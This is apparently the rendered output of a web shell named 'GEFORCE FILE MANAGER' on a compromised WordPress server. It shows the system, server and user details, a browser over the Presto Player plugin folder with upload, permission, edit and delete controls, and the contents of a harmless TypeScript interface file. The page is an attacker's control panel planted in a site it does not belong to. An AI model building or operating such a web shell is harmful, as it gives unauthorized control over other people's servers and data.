[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
dist
/
components
/
types
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 components
SET
[ DEL ]
📁 testing
SET
[ DEL ]
📄 components.d.ts
69,819 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.d.ts
48 B
SET
[ EDIT ]
|
[ DEL ]
📄 interfaces.d.ts
7,286 B
SET
[ EDIT ]
|
[ DEL ]
📄 stencil-public-runtime.d.ts
65,130 B
SET
[ EDIT ]
|
[ DEL ]
📄 util.d.ts
846 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: interfaces.d.ts
declare global { interface Window { gapi: any; wp: any; jQuery: any; prestoPlayerAdmin: { i18n: i18nConfig; }; prestoPlayer: { debug: boolean; debug_navigator: boolean; ajaxurl: string; nonce: string; isPremium: string; logged_in: boolean; i18n: i18nConfig; }; } } export interface i18nConfig extends Object { startOver?: string; upNext?: string; rewatch: string; next?: string; emailPlaceholder?: string; skip?: string; emailDefaultHeadline?: string; play: string; } export interface ActionBarConfig extends Object { enabled: boolean; percentage_start: number; text: string; background_color: string; button_type: string; button_radius: string; button_text?: string; button_color?: string; button_count?: boolean; button_link?: ButtonLinkObject; button_text_color?: string; } export interface ButtonLinkObject extends Object { id: string; url: string; type: string; opensInNewTab: boolean; } export interface PlaylistItem extends Object { id: number; config: PrestoConfig; duration: string; title: string; } export interface PrestoConfig extends Object { styles?: string; type?: string; preset?: presetAttributes; autoplay?: boolean; id?: number; title?: string; playerClass?: string; blockAttributes?: blockAttributes; chapters?: prestoChapters; branding?: prestoBranding; src?: string; analytics?: boolean; automations?: boolean; provider?: string; provider_video_id?: string; isAdmin?: boolean; save_player_position?: boolean; ajaxProgress?: boolean; youtube?: YoutubeConfig; i18n?: i18nConfig; search?: SearchBarConfig; markers?: any; storage?: { enabled?: boolean; key?: string; }; } export interface prestoChapters extends Object { [index: number]: { time: number; title: string; }; } export interface DynamicOverlay extends Object { key?: number; startTime: string; endTime: string; text: string; position: 'top-left' | 'top-right'; link?: { url: string; type?: string; id?: number; opensInNewTab?: boolean; }; color: string; backgroundColor: string; opacity: number; } export interface blockAttributes extends Object { color?: string; id?: number; title?: string; src?: string; poster?: string; playsInline?: boolean; autoplay?: boolean; mutedPreview?: { enabled?: boolean; captions?: boolean; }; mutedOverlay?: MutedOverlay; ratio?: string; } export interface MutedOverlay extends Object { enabled?: boolean; width?: number; src?: string; focalPoint?: { x: number; y: number; }; } export interface YoutubeConfig extends Object { noCookie?: boolean; channelId?: string; } export interface presetAttributes extends Object { id?: number; lazy_load_youtube?: boolean; after_video_action?: string; hide_youtube?: boolean; sticky_scroll?: boolean; sticky_scroll_position?: string; on_video_end?: string; play?: boolean; play_video_viewport?: boolean; invert_time?: boolean; skin?: string; save_player_position?: boolean; captions?: boolean; captions_enabled?: boolean; hide_logo?: boolean; reset_on_end?: boolean; auto_hide?: boolean; show_time_elapsed?: boolean; speed?: boolean; background_color?: string; caption_style?: string; email_collection?: EmailCollection; cta?: CTA; watermark?: Watermark; search?: Search; action_bar?: ActionBarConfig; } export interface Search extends Object { enabled?: boolean; minMatchCharLength?: number; threshold?: number; placeholder?: string; } export interface Watermark extends Object { enabled?: boolean; text?: string; backgroundColor?: string; color?: string; opacity?: number; position?: 'top-left' | 'top-right' | 'randomize'; } export interface SearchBarConfig extends Object { showSearchResults?: boolean; searchResults?: any; } export interface prestoBranding extends Object { logo?: string; logo_width?: number; } export interface CTA extends Object { enabled?: boolean; percentage?: number; show_rewatch?: boolean; show_skip?: boolean; headline?: string; show_button?: boolean; bottom_text?: string; button_color?: string; background_opacity?: number; button_text_color?: string; button_text?: string; button_link?: ButtonLinkObject; button_radius?: number; } export interface EmailCollection extends Object { enabled?: boolean; percentage?: number; allow_skip?: boolean; headline?: string; bottom_text?: string; button_text?: string; border_radius?: number; button_text_color?: string; button_color?: string; } interface OnVolumeChangeParam { muted: boolean; volume: number; } export interface PlyrProps { id?: number; type?: 'youtube' | 'vimeo' | 'video' | 'audio'; className?: string; videoId?: string; url?: string; config: PrestoConfig; on?: (eventName: string, event?: any) => void; onReady?: (player?: any) => void; onPlay?: () => void; onPause?: () => void; onEnd?: () => void; onLoadedData?: () => void; onSeeked?: (time?: number) => void; onTimeUpdate?: (time?: number) => void; onEnterFullscreen?: () => void; onExitFullscreen?: () => void; onVolumeChange?: (params: OnVolumeChangeParam) => void; onCaptionsEnabled?: () => void; onCaptionsDisabled?: () => void; enabled?: boolean; title?: string; debug?: boolean; autoplay?: boolean; autopause?: boolean; seekTime?: number; volume?: number; muted?: boolean; duration?: number; displayDuration?: boolean; invertTime?: boolean; toggleInvert?: boolean; ratio?: string; clickToPlay?: boolean; hideControls?: boolean; resetOnEnd?: boolean; disableContextMenu?: boolean; loadSprite?: boolean; iconPrefix?: string; iconUrl?: string; icon_url?: string; blankVideo?: string; quality?: { default?: string | number; option?: string[] | number[]; }; loop?: { active?: boolean; }; speed?: { selected?: number; options?: number[]; }; keyboard?: { focused?: boolean; global?: boolean; }; tooltips?: { controls?: boolean; seek?: boolean; }; fullscreen?: { enabled?: boolean; fallback?: boolean; iosNative?: boolean; }; storage?: { enabled?: boolean; key?: string; }; controls?: string[]; settings?: string[]; poster?: string; sources?: Array<{ src: string; type: string; size?: string; }>; captions?: Array<{ kind?: string; label?: string; src: string; srclang?: string; default?: boolean; key?: any; }>; } export {};